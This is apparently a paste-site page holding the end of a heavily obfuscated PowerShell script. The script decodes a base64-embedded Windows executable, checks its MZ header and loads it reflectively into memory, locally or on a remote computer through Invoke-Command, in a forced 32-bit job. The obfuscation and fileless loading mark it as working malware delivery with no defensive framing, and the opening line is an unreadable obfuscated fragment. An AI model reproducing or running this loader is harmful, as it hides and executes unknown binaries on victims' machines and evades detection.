N54Y+54Yf2aC54Y+54Yc;N54Y+54Yf54Y+54Y2{g54Y+54YlOBaL:rX54Y+54YZM5','+54Y2NiSs54Y+54Y=Nf254Y+54YNi.ZCoL','TRiNg][ChAR]39).Replace(([ChAR]78+[ChAR]102+[ChAR]50),[sTRiNg][ChAR]36).Replace(54YZCo54Y,[sTRiNg][ChAR',' %50)+10),((54Y+54YN54Y+54Yf54Y+54Y254Y+54Yniss %50)-10),((Nf2n54Y+54Yiss 54Y+54Y%54Y+54Y8054Y+54Y054Y+54Y)+9)54Y+54Y);[b5','+54Ye54Y+54Ync54Y+','54Yoding]::54Y+54YZC54Y+54Yo54Y+54YAsr54Y+54YX54Y+54YZ54Y+54Yc54Y+54YIi54Y+54YZCo.ZC54Y+54YogEt54Y+54Y','M54Y+54Yj54Y+54YT)54Y+54','f254Y+54Y{glOBaL54Y+','Y Nf2aCc=54Y+54Y@((Nf54','+54Ys54Y+54Y %154Y+54Y00),((Nf25','g54Y+54YrXZerXZTsTri54Y+54YnGZ54Y+54YCo(Nf2','N54Y+54Yf2nis','4Y+54Yyte[]]Nf2MjT=Nf54Y+54Y254Y+54Ynull;Nf254Y+54YsPK54Y+54Yk=54Y+54YZCoZCo+Nf2Ni54Y+54YS54Y+54Ys;.(ZCo{0}{154Y+54Y}ZCo54Y+54Y-f lto54Y+54YEl5','54Y+54Yo54Y+54Y,l54Y+54Ytod','2nis54Y+54Ys %6)54Y+54Y,54Y+54Y4,(54Y+54YN54Y+54Yf2ni54Y+54Yss %54Y+54Y754Y+54Y),(','Y)54Y).Replace(([ChAR]114+[ChAR]88+[ChAR]90),[sTRiNg][ChAR]96).Replace(([ChAR]1'))  -CREplaCE  '54Y',[cHaR]39  -rEPLACe  'U1i',[cHaR]124))
  2418.             ${pebY`TES} = [System.Convert]::"Fro`M`BaSe64STRi`Ng"(${glOBaL:`M`G`GG});
  2419.     }
  2420.    
  2421.     &("{0}{1}{2}"-f 'Write-','V','erbose') ""
  2422.     ${E_Ma`gIc} = (${p`Eby`TEs}[0..1] | &('%') {[Char] ${_}}) -join ''
  2423.     if (${E_mag`iC} -ne 'MZ')
  2424.     {
  2425.         throw ''
  2426.     }
  2427.     if (-not ${doNOt`zE`R`omZ}) {
  2428.         ${PEbyt`es}[0] = 0
  2429.         ${peb`ytEs}[1] = 0
  2430.     }
  2431.    
  2432.     if (${E`Xe`Args} -ne ${n`ULl} -and ${EX`ea`RGs} -ne '')
  2433.     {
  2434.         ${eXe`AR`GS} = "ReflectiveExe $ExeArgs"
  2435.     }
  2436.     else
  2437.     {
  2438.         ${exEa`R`GS} = "ReflectiveExe"
  2439.     }
  2440.     if (${CoMpU`Te`Rn`A`me} -eq ${n`Ull} -or ${Co`MPuT`ERna`ME} -imatch "^\s*$")
  2441.     {
  2442.         &("{3}{1}{0}{2}" -f'-','oke','Command','Inv') -ScriptBlock ${rE`mOTes`cr`ip`TBL`OCk} -ArgumentList @(${P`e`BytEs}, ${fUnCR`E`T`URNTY`pE}, ${p`Ro`CID}, ${P`RO`cNa`mE},${FO`R`CE`Aslr})
  2443.     }
  2444.     else
  2445.     {
  2446.         &("{4}{0}{2}{3}{1}" -f'vo','mmand','k','e-Co','In') -ScriptBlock ${rem`o`TESCr`I`pTBL`Ock} -ArgumentList @(${pebY`TeS}, ${funcr`e`Tur`NTYPe}, ${PRo`Cid}, ${pRO`C`NAme},${fOrce`AS`lR}) -ComputerName ${cOmPut`Ern`AmE}
  2447.     }
  2448. }
  2449. &("{1}{0}"-f 'n','Mai')
  2450. }
  2451. &("{1}{0}{2}" -f 'Ms','Invoke-','d') -ForceASLR
  2452.  
  2453. }
  2454.  
  2455.  
  2456. If($env:PROCESSOR_ARCHITECTURE -ne "x86"){
  2457.    
  2458.     $Job = Start-Job $TRum -RunAs32
  2459.     $SCStore = $Job | Wait-Job | Receive-Job
  2460. }Else{
  2461.  
  2462.   Invoke-Command -ScriptBlock $TRum
  2463.  
  2464. }
Add Comment
Please, Sign In to add comment